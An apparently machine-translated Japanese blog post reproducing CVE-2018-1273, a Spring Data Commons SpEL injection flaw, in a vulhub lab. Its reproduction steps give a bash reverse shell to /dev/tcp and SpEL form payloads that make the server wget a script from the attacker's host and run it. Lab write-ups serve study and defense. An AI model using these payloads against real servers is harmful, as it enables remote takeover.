Spring Data Commons のリモート コマンド実行の脆弱性が再発 (CVE-2018-1273)

1. 脆弱性の説明
Spring Data は、データベース アクセスを簡素化し、クラウド サービスをサポートするために使用されるオープン ソース フレームワークであり、Commons、Gemfire、JPA、JDBC、MongoDB などのモジュールが含まれています。この脆弱性は、共有の基本フレームワークを提供し、さまざまなサブプロジェクトでの使用に適しており、データベース間の永続性をサポートする Spring Data Commons コンポーネントで発生します。

Spring Data Commons コンポーネントにはリモート コード実行の脆弱性があり、攻撃者は悪意のあるコードを含む SPEL 式を構築してリモート コード攻撃を実行し、サーバー制御権限を直接取得する可能性があります。
2. 影響を受けるバージョン
Spring Data Commons 1.13 ~ 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 ~ 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 ~ 2.0.5 (Kay SR5)
Spring Data REST 3.0 ~ 3.0.5 (Kay) SR5)
3. 環境を構築します
cd vulhub/spring/CVE-2018-1273
docker-compose up -d
ここに画像の説明を挿入します

4. 脆弱性の再現
1. シェル コマンド
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1を準備して
、shell.sh ファイルに書き込みます。
ここに画像の説明を挿入します

2. http サービスを開く
sh ファイルが配置されているディレクトリで http サービスを開きます
python -m http.server 8081
ここに画像の説明を挿入しますここに画像の説明を挿入します

3. パケット キャプチャ
http://192.168.25.128:8080/users にアクセスして登録し、BP がパケットをキャプチャします
ここに画像の説明を挿入しますここに画像の説明を挿入します

4. リクエストパッケージの
ペイロードを準備します:
username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“[実行するコマンド]”)]=&password=&repeatPassword=Download
ファイル リクエストパッケージ: username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/usr/bin/wget -O /tmp/1.sh http://192.168 .155.2:8081/shell.sh”)]&password=test&repeatPassword=test
コマンド要求パッケージの実行:
username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/bin / bash /tmp/1.sh")]&password=test&repeatPassword=test
5.nc 監視を開始
ここに画像の説明を挿入します

6. リクエストパッケージの送信
ダウンロードパッケージの送信
ここに画像の説明を挿入します

tmpに1.shが出現していることが判明
ここに画像の説明を挿入しますここに画像の説明を挿入します

実行パッケージを送信する
ここに画像の説明を挿入します

7. リバウンドシェル
ここに画像の説明を挿入します

注:
wget の正しい使用方法:
ダウンロードしたファイルを別の名前で保存するには、-O オプションを使用します。
wget -O /usr/software https://download.redis.io/releases/redis-6.0.8.tar.gz

おすすめ

転載: blog.csdn.net/wutiangui/article/details/132790803